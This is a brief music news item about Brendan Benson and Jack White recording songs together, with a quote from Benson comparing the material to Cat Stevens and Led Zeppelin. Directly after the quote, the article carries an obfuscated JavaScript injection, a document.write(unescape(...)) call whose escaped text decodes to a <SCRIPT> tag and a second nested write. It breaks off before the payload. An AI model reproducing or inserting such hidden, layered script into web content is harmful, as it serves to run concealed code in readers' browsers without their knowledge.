Benson's close friend Jack White recently revealed that he wanted to make the new White Stripes record at Brendan 's house. The pair have also recorded enough songs for an album together, although it is not clear when this will come out.

Talking about the collaboration, Benson told MTV News: "It's weird, man. There's stuff on there that sounds like Cat Stevens, and there's some stuff on there that sounds like Led Zeppelin."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
